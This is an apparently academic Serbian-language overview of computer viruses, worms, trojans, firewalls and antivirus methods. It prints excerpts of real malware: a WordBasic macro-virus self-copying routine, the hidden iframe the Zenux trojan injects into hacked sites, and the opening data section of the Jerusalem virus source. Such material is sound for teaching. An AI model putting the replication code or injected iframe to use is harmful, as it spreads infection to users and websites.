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1  Увод 

1.1. Шта је то ВИРУС?

За дефиницију вируса најбоље је узети ону од др. Фредерика Кохена по којој вирус представља програм који може инфицирати друге програме, модификујући их тако да укључе копију њега самога, која такође може бити инфицирана. Под инфекцијом се овде мисли на могућност вируса да убаци своје извршење у поступак извођења програма.

Ова дефиниција је кључна за одређивање вируса, јер не сматрамо сваки малициозан програм вирусом, другим речима, није сваки деструктивни програм вирус, јер би у том случају и програм Format био вирус. Структура вирусе се може најлакше поделити на три компоненте, од које вирус обавезно мора имати само прву. 

Прва компонента представља могућност инфекције. Дакле, није нужно да вирус ради било какву штету на рачунару, сама чињеница да се шири инфекцијом довољна је да  се окарактерише вирусом.

Други део вируса, који није обавезан, представља носивну компоненту. Тај део дефинише све активности које ће бити изведене уз његово ширење.

Трећи део представља функција за окидање која дефинише време или догађај приликом којег ће бити извршена носивна компнента вируса.

Злонамерно написани рачунарски програм или делови програмског кода називају се разним именима. То су црви (worm), тројански коњи (trojan horse), логичке бомбе (logic bomb), замке  (trap-door)  и наравно, вируси. 
1.2. Црв
 Црв је програм који се шири самоумножавањем кроз рачунарске мреже. Црв је самосталан и за разлику од вируса не треба програм домаћин да би радио. Такође, црва у „погон“ пушта и контролише сам аутор.

1.3. Логичка бомба 
То је метода активације процеса темељем задовољавања логичког услова – постојања или непостојања неког податка, протока, одређеног времена или у одређено време и сл. Логичка бомба у ствари представља принцип деловања, ане целовит механизам. Логичке бомбе су често саставни део многих рачунарских вируса.

1.4. Тројански коњ

Прорам који наизглед служи за неку другу операцију за коју је направљен. Тројанси коњ би рецимо, био програм који изгледа као текст процесор, а заправо једном покренут форматира хард диск. Многи аутори вируса користе тројанске коње како би олакшали размножавање својим мезимцима.

1.5. Замка 

Представља посебну недокументовану функцију програма која се може покренути на унапред одређен начин. Прогамери који пишу различите програме често знају превидети посебну лозинку или секвенцу знакова која једном откуцана омогућава приступ до иначе невидљивих функција програма.

1.6. Вирус 

Део програмског кода који је способан извршити самокопирање (инфекцију) додавњем свог садржаја у друге програме или делове оперативног система. Као што се може приметити постоји велика слићност између компјутерских и биолошких вируса.

Вирус се обично састоји од два дела. Први део је самокопирајући код, који омогућава размножавање вируса,а други део је корисни терет (payload) који може бити безопасан (бениган) или оапас (малиган). Неки се вируси састоје искључиво само до самокопирајућег дела и немају никакв корисни терет.Иако вирус „у промет“ најчешће пушта сам аутор, контрола над размножавањемОслобођеног вируса није у рукама аутора.

1.7. Путеви заразе

Најчешће постављано питање након откривања вируса је „како је до заразе дошло?“.Иако су многе ствари везане за вирусе врло сложене, одговор на ово питање је више него једноставан. Вирусни код, да би се умножавао, треба претходно бити извршен. Неки се прорами на рачунару извршавају вољом корисника, а неки аутоматски, без његове воље.
1.7.1. Дискете

Floppy дискови (дискете) су некада били најчешћи медији којима се преносе вируси. Данас су оне замењене  USB Flash дисковима,
         1.7.2   Измењиви хард-дискови
Иако се ређе користе, такође представљају погодан медиј за пренос свих врста вируса.
1.7.3 CD-ROM
CD-ROM-ови су се показали као одличан медиј за пренос вируса, иако се са CD-ROM-ова по правилу не обавља стартовање система па нису погодан медиј за пренос BOOT сектор вируса. Незгодна је чињеница да програми и подаци на њима долазе у компресованој форми, што додатно отежава преглед антивирусним програмима.
1.7.4 Мреже

Вируси на рачунарским мрежама представљају један од највећих ризика данас, а представљаће га и у будућности.
1.8. Историја вируса

Шездесетих и седамдесетих година, још у време mainframe рачунара, постојао је феномен зван зец (rabbit). Зец је најчешће настајао случајно или грешком када је „помахнитали“ рачунарси програм почео сам себе копирати шпо систему, изазивајући успорење или пад система. Но, нису сви „зечеви“ настали случајно.

Први прави предак данашњих вируса - Prevading animal (прожимајућа звер) био је програм способан да се надогради на друге компјутерске програме на UNIVAC 1108 компјутерском систему, а нападнути програми су чак били означени посебном сигнатуром у сврху самопрепознавања.

Први потврђен налаз компјутерског вируса, дакле 1981. године био је Elk Cloner – вирус који је инфицирао BOOT  сектор дискета за легендарни Apple II рачунар.
У новембру 1983. године,  Len Adleman први пут у историји је употребио реч „вирус“ описујући самокопирајући код.

Преломна је и 1986.година, када се појављује компјутерски вирус Brain (мозак). Овај вирус, способан инфицирати BOOT секторе 360 КВ дискета IBM PC компјутера брзо је освојио свет. На сву срећу, вирус није био деструктиван, него је у себи само носио податке по ауторима.

Након тога ствари крећу брже. Појављује се компјутерски вирус Jerusalem (1988.) који је брисао све покренуте програме, те први прави деструктивац Virus Datacrime (1989.), који је био способан извршити lowlevel format нулте стазе на диску.

1989. основано је удружење вируса у Бугарској. Извесна особа (или више особа) које себе назива naziva Dark Avenger (Црни Осветник) до данас је написала најмање 50-так вируса укључујући неке од најпознатијих као што су New Zeland и Michelangelo.
Хронолошки приказ најпознатијих вируса до данас:

* 1960/1970 - The rabbit(Univax 1108), 
Pervading Animal(Univax 1108)
* 1970 - The Creeper(Tenex OS)
* 1980 - Pojava trojanaca
* 1981 - Elk Cloner(Apple II)
* 1986 - Brain(IBM PC), VirDem
* 1987 - Vienna, Yale, Stoned, PingPong,
Christmas Tree(VM/CMS) 
* 1988 - Jerusalem, Morris
* 1989 - Daracrime, Yankee(IBM PC), Trojanski konj AIDS
* 1990 - Chameleon, DiskKiller
* 1991 - Dir-II
* 1992 - Michelangelo
* 1994 - GoodTimes, Shifter, SCRVir, OneHalf
* 1995 - Form(Windows 95), Concept(Windows 95)
* 1996 - Win95.Boza(Windows 95), Win.Tentacle(Windows 3.x),
OS2.AEP, Laroux, Win95.Punch
* 1997 - Linux.Bliss(Linux), ShareFun, crv Homer
* 1998 - Win95.HPS(Windows), Win95.Marburg(Windows),
AccessiV, RedTeam, Win95.CIH(Windows),
Java.StrangeBrew, VBScript.Rabbit, HTML-Internal,
Trojanci: BackOrifice, NetBus, Phase, Sub7,...
2  Врсте рачунарских вируса
Рачунарски вируси могу се поделити на шест врста:

· Boot сектор вирусе

· Паразитске вирусе

· Свестране (multipartite) вирусе

· Companion вирусе

· Линк вирусе

· Макро вирусе
Ова подела првенствено води рачуна о начину на који вирус може заразити различите делове рачунарског система. Без обзира којој групи припада, сваки вирусни код мора бити извршен да би прорадио и размножавао се. Основна разлика између различитих вируса је у начину на који то покушавају осигурати. 

Постоји још и подела на вирусе зависно од тога да ли је вирус присутан у меморији на:

· Вирусе који су резидентни у меморији

· Вирусе који нису резидентни у меморији
2.1.1   BOOT сектор вируси  

Boot сектор вируси нападају Master BOOT сектор (partitition table), DOS BOOT сектор (оба на хард дисковима)

или BOOT сектор floppy дискета, односно програм који се у њима налази. BOOT сектор је идеалан објект за инфекцију, будући да садржи први програм који се извршава на рачунару, чији се садржај може мењати. Када једном рачунар буде укључен, програм у ROM-у (BIOS) ће без питања учитати садржај Master BOOT сектор у меморију и извршити га. Ако се у њему налази вирус, он ће постати активан.

Но како је вирус доспео у Master BOOT сектор? Најчешће покушајем стартовања система са инфициране floppy дискете, али boot сектор вируси се могу ширити и помоћу посебних програма, тројанских коња, названих dropper (бацач) – којима је главна намена да неприметно „убаце“вирус у BOOT сектор.
BOOT сектор вируси су веома успешни у размножавању – од седам најчешћих компјутерских вируса чак шест их је способно заразити BOOT сектор.


[image: image1]
2.1.2   Паразиткси вируси 

Најчешћа врста вируса су управо паразитски вируси. Ови су вируси способни заразити извршне датотеке на рачунарском систему додавањем свог садржаја у саму структуру програма, мењајући ток инфицираног програма тако да се вирусни код изврши први. Познати рачунарски вируси способни су заразити: COM, .EXE, .SYS, .OVL. и друге датотеке.
[image: image2.emf]
2.1.3  Свестрани вируси 
„Добре“ особине boot сектор и паразитксих вируса уједињене су код свестраних вируса (multipartite) вируса. Ови вируси способни су заразити и BOOT секторе и извршне програме, повећавајући тако могућност ширења. Попут BOOT сектор вируса веома су ефикасни у ширењу. Напдају BOOT секторе и извршне програме
2.1.4 Вируси пратиоци 
Најједноставнији облик рачунарских вируса су управо вируси пратиоци. Они користе приоритет којим се извршавају програми с истим именом под DOS-ом. .COM датотеке се увек извршавају пре .EXE датотека, програм из директоријума који су на почетку PATH низа извршавају се пре оних са краја. Вирус пратлац обично створи .COM датотеку користећи име већ постојећег . EXE програма и угради у нју свој код. Принцип је једноставан – када програм буде позван, уместо оригинала са екстензијом .EXE, прво ће се извршити подметнути .СОМ програм с вирусним кодом. Када извршавање вирусног кода буде завршено, вирус ће контролу програму са .EXE ексензијом. Да би прикрио присуство, вирус пратилац ће поставити скривени атрибут за .СОМ програм у који је ставио свој садржај. Ова врста не мења „нападнути“ програм, а због неспретног начина ширења не представља већу опасност.
[image: image3.emf]
2.1.5 Линк вируси 
Најинфективнија врста вируса су линк вируси који једном покренути, у трену инфицирају нападнути рачунарски систем. Попут вируса пратиоца ови вируси не мењају „нападнуте“ програме већ мењају показиваче у структури директоријума на такав начин да их преусмере на cluster на диску где је претходно сакривен вирусни код. На сву срећу, ова изразито инфективна и неугодна врста вируса, која ѕбог самог начина размножавања може изазвати прави хаос на диску, има тренутно само два представника од укупно четири.  

[image: image4.emf]
2.1.6  Макро или скриптни вируси 
Најчешћи вируси у последње време користе могућност извршавања скрипти у програмима који су у широкој употреби, нпр. Internet Explorer, Outlook и Outlook Express, затим Word, Excel. Многи од тих програма имају пуно сигурносних рупа за које се закрпе не издају често,а корисници их још мање примењују.Уколико је сигурност приоритет при раду на рачунару предлаже се искључивање скриптних језика (Java, VBscript, итд...)
2.1.6.1 Изглед једног кода макро вируса

Sub MAIN


On Error Goto Abort


iMacroCount = CountMacros(0, 0)


'CHECK TO SEE IF INFECTION EXISTS


For i = 1 To iMacroCount



If MacroName$(i, 0, 0) = "PayLoad" Then




bInstalled = - 1



'BY LOOKING FOT THE PAYLOAD MACRO



End If



If MacroName$(i, 0, 0) = "FileSaveAs" Then




bTooMuchTrouble = - 1



'BUT IF THE FILESAVEAS MACRO EXISTS THEN INFECTION IS



'TOO DIFICULT.



End If


Next i


If Not bInstalled And Not bTooMuchTrouble Then



'add FileSaveAs and copies of 
AutoExec and FileSaveAs.



'Payload has no use except to check for infection.



'The ,1 encrypts all macros in their destination making



'them unreadble in Word.



iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))



sMe$ = FileName$()



Macro$ = sMe$ + ":PayLoad"



MacroCopy Macro$, "Global:PayLoad", 1



Macro$ = sMe$ + ":FileOpen"



MacroCopy Macro$, "Global:FileOpen", 1



Macro$ = sMe$ + ":FileSaveAs"



MacroCopy Macro$, "Global:FileSaveAs", 1



Macro$ = sMe$ + ":AutoExec"



MacroCopy Macro$, "Global:AutoExec", 1



SetProfileString "WW6I", Str$(iWW6IInstance + 1)


End If

Abort:

End Sub

2.2 THE SaveAs ROUTINE

2.3 Подела према месту у меморији
2.3.1 Вируси који нису резидентни у меморији
Основна врста су вируси, који, када њихов код буде извршен и пошто врате контролу оригиналном програму, не остају активни у меморији. Ова врста оперише тако да током свог извршења пронађе објекат погпдан за инфекцију и зарази га. Теоретски су ови вируси мање инфективни од вируса резидентних у меморији, али нажалост, у пракси то није увек случај. Заражени програм који у себи носи код вируса, који се често извршава, биће изузетно делотворан. Како ови вируси не мењају количину слободне радне меморије, могуће их је приметити само по промени дужине програма на диску. Данас ова врста вируса све више „излази из моде“ будући да се не могу користити технике самосакривања које захтевају да вирус буде активан у меморији.
2.3.2 Вируси резидентни у меморији

Као што само име каже, ова се врста вируса инсталира у радној меморији рацунара и остаје актина дуго након што зараени програм буде извршен. Вирус активан у меморији може бити способан зарзити сваки извршени програ, сваку дискету која буде покренута (под условом да није заштићена од писања), он може мотрити активност система или у сваком тренутку извршити свој корисни терет. Ови вируси су врло инфективни. Осим тога они су способни користити све могуће вирусне технике, те представљају тренд у развоју вируса. Неки вируси користе комбинације ових двеју техника. Тако на пример, вирус може инфицирати програме на начин који је типичан за вирусе који нису резидентни у меморији, али након извршења вирусног кода оставља у меморији мали резидентни програм са корисним теретом који сам по себи није способан инфицирати друге програме.

3  Неке вирусне технике

„Успешност“ вируса мери се дужином времена у којем вирус неприметно остаје акиван, инфицирајући друге програме. Што је „време инкубације“ дуже, то су могућности за опстанак вируаса и евентуално извршење корисног терета веће. Осим тога,, једном откривен вирус може се покушати бранити од поступака анализе који се редовно спроводи ради утврђивања начина за његово сигурно проналажење. Важно је напоменути да су све ултраопасне технике о којима ће бити речи у наставку, потпуно безопасне, ако се при коришћењу антивирусних програма поштују основне мере антивирусне заштите.
3.1 Енкрипција

Енкрипција или шифровање је поступак којим се оригинална информација мења у циљу прикривања њеног правог садржаја. У основи шифровања постоји обрнут поступак декрипције којим се поново добијају оригиналне информације. Први разлог употребе шифровања је покушај отежавања проналажења вируса. Теоретски, ако вирус мења свој садржај и у сваком инфицираном садржају изгледа другачије, теже је на темељу проучавања његовог тела извући  search string или направити алгоритам за проналажење. У пракси ствари стоје ругачије. Наиме, није могуће извести шифровање целог вирусног кода, будући да онај део кода који врши декрипцију мора остати неенкриптован. Осим тога, сваки енриптовани вирус мора пре извршења свој деекриптовати у меморији. Употреба енкрипције можда може отежати анализу вируса, али не мора нужно отежати и његово проналажење.
3.2 Полиморфни вируси
Корак даље у игри скривача је полиморфизам (више облика). Полиморфизам представља преобликовање извршног кода, на такав начин да се очува функција, али истовремено битно промени његов изглед. Погледајте следећи пример:
	Instrukcije
	Asembliraju se kao

	1. mov ah,4ch

       mov al,00h
	B4 4C

B0 00

	2. mov al,00h

       mov ah,4ch
	B0 00

B4 4C

	3. mov ax,4c00h
	B8 00 4C

	4. mov dx,4c00h

       mov ax,dx


	BA 00 4C

89 D0



Резултат извршења дела кода из претодна четири примера биће исти, али сваки од њих у меморији изгледа другачије. Полиморфизам је најчешће допуна технике енкрипције. Након што је главнина тела вируса већ шифрирана настоји се премештањем редоследа инструкција или коришћењем других инструкција приликом сваке наредне инфекције изменити и део вируса који обавља декрипцију. Овим се покушава доскочити немогућности шифровања и тог дела кода.

Енкрипција, комбинована са полиморфизмом представља један од најопсанијих трендова у развоју вируса. 
3.3 „Stealth“
Stealth (невидљивост, самоскривање) је још једна комплексна техника коју користе вешти писци рачунарских вируса. Темељ технике самоскривања је покушај преваре корисника, система или антивирусног прорама на такав начин да га се увери да се са системом не догађа ништа необично. На пример, најједноставнија техника самоскривања је пресретање DIR команде на такав начин да се уместо стварне, покаже дужина зараених програма пре инфекције.

Технике самоскривања користе начин комуникације између софтвера и хардвера на рачунару. У основи, ова се комуникација одвија преко interrupta. Када процесор добије захтев за читањем с диска, он ће извршити део кода на који је усмерен одговарајући interrupt. Ако вирус измени interrupt вектор и извођење појединих функција преусмери прво на себе, нможе се лако пратити сва догађања на систему и њима без проблема „владати“.   
4  Тројански коњ

Тројанским коњем се у рачунарском жаргону означавају злоћудни програми, који су "маскирани" као корисни или се проширују "прикачени" на друге корисне програме. "Тројанци" обично врше, нежељене акције у рачунару и то у "позадини" и прикривено. Најчешћа од тих нежељених акција је откривање корисничких лозинки, банковних података и других повјерљивих информација "прислушкивањем" размјене података или једноставно читањем тих датотека, и јављање истих "власнику" тројанског коња.

Постоје и тројански коњи у служби полиције који се баве прикупљањем информација са циљем откривања кривичног дјела (енгл. Remote Forensic Software). Тај облик шпијунирања грађана је у неким земљама правоснажан и врши се по судском налогу (нпр. САД, Аустралија), у некима је и поред сукоба са Уставом, у фази припреме (Немачка, Аустрија, Швајцарска), док је у некима одбијен. Такви тројанци се шире инсталацијом или актуелизовањем комерцијалних оперативних система и других софтверских и хардверских компоненти рачунара, као и путем интернет провајдера инфилтрирањем у постојеће механизме преноса података, који такву могућност у својим продуктима и услугама, на захтев дотичне државе, морају предвидети.
Познати тројански коњи
· Zenux
· Back Orifice
· Netbus
· SubSeven
Обратићемо пажњу на вирус под називом „Zenux“.
4.1 Zenux 
Тројански коњ који заражава рачунаре корисника интернета и краде им кодове за ФТП приступ, после чега инфицира странице сајтова које се налазе на истим ФТП налозима.

Након заражавања рачунара, вирус са рачунара преузима све доступне кодове за ФТП приступ. Након овога улази на одговарајуће ФТП налоге и убацује мало парче кода у странице или темплејте сајтова које се налазе на њима. Елемент који се додаје свакој страници је мали угњеждени фрејм (iframe од енгл. iframe, inline frame) величине 1×1 пиксела, у доњем левом углу странице. Након што је нека страна инфицирана, понаша се као вирусов домаћин.

Тачан код који вирус убацује је:
<!-- ~ --><iframe src="http://zenux.info/info/index.php" width="1" height="1"><!-- ~ -->
Прве пријаве овог вируса су забележене 11. јула 2007. године.
5  Рачунарски црви – WORMS
Класични вируси данас су заправо ретки. Данашњи корисници се углавном сусрећу са црвима. Црви су малициозни програми који се рачунарским мрежама и рачунарима,а  да притом не инфицирају друге програме. Овде видимо основну разлику између вируса и црва, а то је да црви немају прву и обавезну компоненту вируса, могућност инфекције програма. Црви обично употребљавају рачунарску мрежу не би ли се ширили и данас најчешће на адресу приматеља стижу у виду attachment-a електронске поште. Неи други црви за своје ширење користе различите сигурносне проблеме, али свима им је карактеристика да не инфицирају друге програме. 

5.1 Начин откривања мете

5.1.1 Скенирање
Означава теситарање адреса да се идентификују рањиви рачунари. Постоје две варијанте скенирања, секвентно или случајно. Због своје једноставности то је врло чест начин ширења црва. Ово није јако брз начин ширења, али код црва са аутоматском активацијом ширење може бити врло брзо, пример за то су црви Blaster или Code Red I. Скенирањем, црв узрокује пуно абнормалног, мрежног промета па се по томе може и препознати, а неки антивирусни прорами и firewall-ови аутоматски реагују и ограничавају тај промет, што може зауставити црва.
5.1.2 Пре-генерисана листа адреса

Нападач може направити листу адреса пре лансирања црва на којима би биле вероватне жртве. Мала листа би се могла искористити за убрзавање скенирајућег црва,а стварањем велике листе, добијамо невероватно брзог црва, који може у неколико минута  заразити млионе рачунара. Такав црв осим у лабораторијским условима још није направљен.

5.1.3 Спољна генерисана листа адреса
Спољна генерисана листа је она коју одржава неки независни сервер. Сервери који имају попис адреса других сервера називају се метасервери. Најбољи пример за то је сервис GameSpy који одржава листу покренутих сервера неких од најпопуларнијих мрежних игара данашњице, а када погелдамо колико људи се игра на интернету, добијамо огромне листа адреса. Ова техника би се могла искористити и на search страницама, јер нпр. Google има листу већине web сервера на свету. Метасервер црви још увек нису примећени на слободи,а ли ризик је велики због велике брзине ширења коју би црв могао постићи.

5.1.4 Интерна листа адреса

Многе апликације на рачунару садрже информације о IP или e-mail адресама других рачунара. Након што црв зарази рачунар, претражи неке најчешће апликације у потрази за адресама и шаље се на њих. То често виђамо код новијих црва који претражују адресае у Outlook-у и шаљу се на све e-mail адресе које пронађу. Ове црве је тешко открити скенирањем мрежног промета јер црв на рачунару налази адресе рачунара с којима се ионако комуницира па додатни мрежни промет није сумњив.

5.1.5 Пасивни
Пасивни црв не тражи адресе рачунара жртве, већ чека да се жртва јави или се ослања на корисника који му открива нове мете, нпр. Сурофвањем по интернету. Gnuman црв се представља као Gnutella чвор, који се користи за дистрибуцију измене података (већином музике и филма) на интернету. Када се жртва јави са захтевом за одређеном датотеком, црв шаље себе. Иако потенцијално спори, пасивни црви не производе абнормлани мрежни примет па их је тешко открити.
5.2 Начин ширења
5.2.1 Самоносећи

Самоносећи црв сам себе преноси као део инфекције. Овај механизам је чест код самоактивирајућих скенирајућих црва, где је чин инфекције уједно и преношење црва, као нпр. код црва CRClean.
5.2.2 Секундарни канал

Неки црви, као нпр. Blaster,захтевају секундарни комуникацијски канал да изврше инфекцију. Иако  Blaster користи сигурносну рупу у RPC , рачунар жртве отвара TFTP канал преко којег се преноси сам црв, завршавајући процес инфекције.

5.2.3 Умотани

Тај тип црва се премоси као део нормалног комуникативног канала, или додавајући се нормалној поруци или замењујући је. Као резултат добијамо ширење које изгледа ка нормални мрежни промет, па је  црва теже открити.
5.3 Активација црва

5.3.1 Људска активација

Најспорији начин активације захтева да црв увери локалног корисника рачунара да изврши локалну копију црва. Да би потакли кориснике, аутори црва се користе разним техникама социјалног инжињеринга. Неки као Mellisa црв глуме хитно писмо од познаника ("Attached is an important message for

you"), неки као Iloveyou црв циљају на таштину корисника ("Open this messege to see who loves you"), а неки као Benjamin користе похлепу  ("Download this file to get copyrighted material for free"). Док неки захтевају покретање attachment-a којег добијамо e-mail-om, neki (npr. Klez ) користе сигурносне пропусте у Outlook-u и самим гледањем поруке, рачунар је заражен.
5.3.2 Активација људским постпуком

Неки црви се не могу покренути приликом заразе, али могу записати своје податке на било које место на диску, па се онда покрећу приликом рестартовања система или логовања на „account“.

5.3.3 Заказани процес активације

Неки прилично брзи црви користе заказане системске процесе. Многи оперативни системи и програми имају могућност аутоматског унапређивања прорама сидањем новије верзије са одрђене адресе. Ако аутор црва занемари закрпу програма црвом, или га не дода у закрпу, он ће се након сидња аутоматски извршити. Ако програм нема проверу аутентичности извора, довољно је најобичније DNS преусмеравање адреса да се рачунар зарази.
5.3.4 Самоактивација

Уверљиво најбжи начин ширења црва. Оперативни системи и разни програми су пуни сигурносних пропуста који омогућавају неовашћено покретање програма, нпр. Code Red користи IIS Web сервер који долази за једно са Windows опертаивним системом. Такви црви се додају покренутим процесима и користе њихова допуштења за покретњае програма. Најбоља заштита је редовно допуњавње закрпа за угрожене програме.
5.4 Терет (Payload)
Терет (Payload) је други назив за код који црв носи, а не служи за његово ширење. Тај код је лимитиран једино циљем и маштом аутора црва. Терет може бити:
5.4.1 Непостојећи/нефункционалан
Најчешћи случај код већине црва је управо овај, када не постоји код осим кода за ширење или у њему постоји некаква грешка па није функционалан.

5.4.2 Даљинска контрола 
Отвара backdoor 
на жртвином рачунару.

5.4.3 Spam relays
Део црва Собиг креира mail relay који спамери могу користити да би слали нежељену електронску пошту. Већина Интернет провајдера има сигурносне механизме који блокирају спам са познатих IP адреса, али код заразе овим црвом спам долази са свих страна и немогуће је на тај начин контролисати његово ширење.

5.4.4 XTML-прокси 
Још једна особина црва Собиг је дистрибуција HTML-проксија. Преусмеравајући веб захтеве преко много проксија веб странице са забрањеним садржајем добијају на времену јер провајдерима треба пуна времена да открију на којој се адреси веб страница физички налази. Ово се користи за разне нелегалне активности, укључујући преваре са уписивањем финанцијских података или бројева картица.

5.4.5 Интернет DOS 
Још један чести терет је Интернет DOS (Denial of Service) напад. Code Red, Yaha и још много црва садрже DOS алате, који су или уперени против одређене странице или се могу уперити против било кога ако аутор црва то пожели. Када црв зарази 100 000 или више рачунара зомбија могуће је недоступном учинити било коју страницу, па чак и цели ДНС систем!

5.4.6 Скупљачи података
Већина људи на рачунару на којем раде имају осетљиве податке попут пословних тајни, нацрта нових уређаја, финансијских извештаја, итд. црв може претражити диск рачунара у потрази за тим подацима и затим их послати на пре одређено место.

5.4.7 Брисачи података 
Постоји много вируса, садрже код за брисање података након одређеног времена. Будући да се црви могу ширити много брже, могли би почети брисати податке одмах након инфекције.

5.4.8 Физичка штета 
Већина данашњих рачунара подржава надоградњу покретачког софтвера, па тако и рачунара који имају БИОС чип који XE "DNS"  је могуће флешовати директно из Windows-a. Уколико се у флашу чип упишу погрешни подаци рачунар се више неће моћи покренути.
5.5 Изглед кода за Jerusalm.asm црва

;The "Jerusalem" virus.

;Also Called - Israeli, PLO, Friday the 13th - Version A

    PAGE 64,132

;-----------------------------------------------------------------------;

; THE "JERUSALEM" VIRUS                               ;

;-----------------------------------------------------------------------;

                        ;

    ORG  100H           ;

                        ;

;-----------------------------------------------------------------------;

; JERUSALEM VIRUS                                ;

;-----------------------------------------------------------------------;

BEGIN_COM:                   ;COM FILES START HERE

    JMP  CONTINUE       ;

                        ;

;----------------------------------------------------------------------
;                                           ;

;-----------------------------------------------------------------------;

A0103         DB      073H,055H

MS_DOS        DB   'MsDos'        ;

         DB   000H,001H,015H,018H

TIME_BOMB     DB   0         ;WHEN == 1 THIS FILE GETS DELETED!

         DB   000H

A0010         DB   000H

A0011         DW   100H      ;HOST SIZE (BEFORE INFECTION)

OLD_08        DW   0FEA5H,0F000H  ;OLD INT 08H VECTOR (CLOCK TIC)

OLD_21        DW   1460H,024EH    ;OLD INT 21H VECTOR

OLD_24        DW   0556H,16A5H    ;001B

A_FLAG        DW   7E48H          ;???

A0021         DB   000H,000H,000H,000H,000H,000H,000H

         DB   000H,000H,000H,000H
A002C         DW   0         ;A SEGMENT
         DB   000H,000H

A0030         DB   000H

A0031         DW   0178EH         ;OLD ES VALUE
A0033         DW   0080H          ;

                        ;

EXEC_BLOCK    DW   0         ;ENV. SEG. ADDRESS  ;0035

         DW   80H       ;COMMAND LINE ADDRESS

         DW   178EH          ;+4

         DW   005CH          ;FCB #1 ADDRESS

         DW   178EH          ;+8

         DW   006CH          ;FCB #2 ADDRESS

         DW   0178EH         ;+12

                        ;

HOST_SP       DW   0710H          ;(TAKEN FROM EXE HEADER) 0043

HOST_SS       DW   347AH          ;(AT TIME OF INFECTION)

HOST_IP       DW   00C5H          ;

HOST_CS       DW   347AH          ;

;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF

                        ;

A004B         DW   0F010H              ;

A004D         DB   82H            ;

A004E         DB   0              ;

EXE_HDR       DB   1CH DUP (?)         ;004F

A006B         DB   5 DUP (?)      ;LAST 5 BYTES OF HOST

HANDLE        DW   0005H               ;0070

HOST_ATT DW   0020H               ;0072

HOST_DATE     DW   0021H               ;0074

HOST_TIME     DW   002DH               ;0076

BLOCK_SIZE    DW   512            ;512 BYTES/BLOCK

A007A         DW   0010H

HOST_SIZE     DW   27C0H,0001H         ;007C

HOST_NAME     DW   41D9H,9B28H         ;POINTER TO HOST NAME

COMMAND_COM   DB   'COMMAND.COM'

         DB   1

A0090         DB   0,0,0,0,0

6  Firewall (Заштитини зид)

Заштитни зид (енгл. Firewall, у преводу ватрени зид) је хардвер или софтвер који у склопу рачунарске мреже има могућност да спречи непрописни или нежељени пренос података преко мреже који је забрањен од стране сигурносне политике постављене на мрежи.

Заштитни зид има задатак да контролише проток података између различитих зона у рачунарској мрежи. Зоне се деле на основу количине поверења у безбедност неког дела мреже. Обично се Интернет зона сматра несигурном, док се локална мрежа сматра релативно сигурном. Најбитнији циљ је остваривање нормалног односа између ове две зоне тако да једна не нашкоди другој.

У најчешћем случају заштитни зид се брине да на рачунар не доспе штетни код (вирус, црв итд.) са глобалне мреже - Интернета. Заштитни зид спречава вирусе да доспеју на рачунар, али их не лечи, односно уклања.

Заштитни зид не може радити сам, и најчешће захтева искуснијег корисника који ће одобравати или забрањивати приступ некој мрежној активности. Заштитни зид је најосновнија компонента која чини сигурну рачунарску мрежу, која је услов нормалног рада, како на интернету, тако и на локалној мрежи.
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Поједностављен приказ функције једног хардверског Заштитног зид-а; Црвене нуле и јединице су штетни код, док су зелене нуле и јединице оно што корисник стварно хоће да види на рачунару.

       6.1    Проблеми и слабости

· За кућне кориснике је гашење свих мрежних сервиса и инсталирање свежих упутстава углавном довољно да се осигурају од спољашњих напада

· Зато што су инсталирани на систему који штите, напади на сам firewall могу утицати на систем и обрнуто: 

· Уместо смањивања мрежних сервиса, лични firewall је додатни сервис који троши системске ресурсе и такође може бити мета напада

· Ако је систем компромитован од стране Malware, Spyware или сличних програма, ови програми могу манипулисати firewall, зато што раде на истом систему. Сигурносни експерти су демонстрирали да постоји бројни начин да се зобиђу или употпуности угасе лични firewall-и.

· Често алармирају корисника о нападу када за то нема потребе, нпр. када покушај успостављања конекције на затворени порт, или погрешно интерпретирају мрежни саобрачај као напад.

Без обзира на све наведено, као и мишљења неких експерата да лични firewall даје само лажни осјећај сигурности, рад на интернету, са Windows базираним системом данас без икакве форме firewall-а је изузетно рискантан.

7  Препознавање вируса – Антивирусни програми

Данашње антивирусне програме можемо поделити на  две групе – програме за репознавање специфичних  вируса и програме за неспецифично препознавње вируса.

7.1 Скенери

Скенери су по правилу програми за специфично препознавње вируса, мада би неки од њих, који користе хеуристичке методе тражења вируса, могли бити сврстани у групу програма за неспецифично препознавање вируса, будући да су, бар теоретски, способни препознати и непознате вирусе. Скенер традиционално препознаје вирус на темељу (у њега) уграђених података, који су претходно прибављени анализом вируса који се појавио међу корисницима. Ти подаци могу се односити на низ хексадецималних знакова (search string) – који каткад могу садржавати и wildcard  (џокер) знакове. Главна предност скенера је могућност тренутног откривања познатих вируса једноставним прегледом сумњивог садржаја. Ако скенер препозна вирус, он ће дојавити тачно о којем се вирусу ради,а то је врло корисно јер се према том податку могу проценити и могуће последице напада вируса. Правилно корисшћен скенер помоћи ће нам да откријемо вирус пристиглим дисковима пре него зарази штићене компјутере. 

Недостаци скенера односе се на потребу за сталним дограђивањем ради препознавања новонасталих вируса, но немогућност препознавања вируса о којима немају потребне податке. Иако постоје хеуристички
 скенери, способни за откривање новонасталих, непознатих вируса, који су базирани на тенологији знања (knowledge based),као и сваки такав систем има пуно и мана. 

Скенери су данас најраспрострањенији антивирусни софтвер.

7.2 Провера checksum-ом

Техника провере checksum-ом темељи се на могућности препознавања сваке промене на штићеном садржају. Checksum-ом се „заледи“ стање система за који претходно утврдимо да је неинфициран. Након тога се у одређеним временским размацима проверава да ли је у систему дошло до неких промена.
Checksum-мирање је једина позната метода којом се сигурно отклањају сви вируси, без обзира на то да ли су познати или не. Ова чињеница чини checksum-ере једним дугорочним ослонцем сваке мудре антивирусне стратегије.

Недостатак checksum-ера лежи у чињеници да се њима открива инфекција вирусом тек након што се већ догодила, међутим, њиховом редовном применом сигурно се може открити вирус пре него што дође до значајне штете. 
7.3 Програми за „мониторинг“

Овакви програми раде као TSR који прегледава одвијање појединих функција система преко одговарајућих interrupt-а. Тако нпр. кад год систем добије налог за учитаањем неке извршне датотеке, може се и извршити провера. Неки монитори не траже сецифичне вирусе него покушавају отклонити сумњиве активности као што су нпр. писање по Master BOOT сектору или извршним програмима, покретање форматирања диска, покушај прорама да се учини резидентним у меморији и сл. Једина предност монитора је да могу открити вирус у реалном времену.
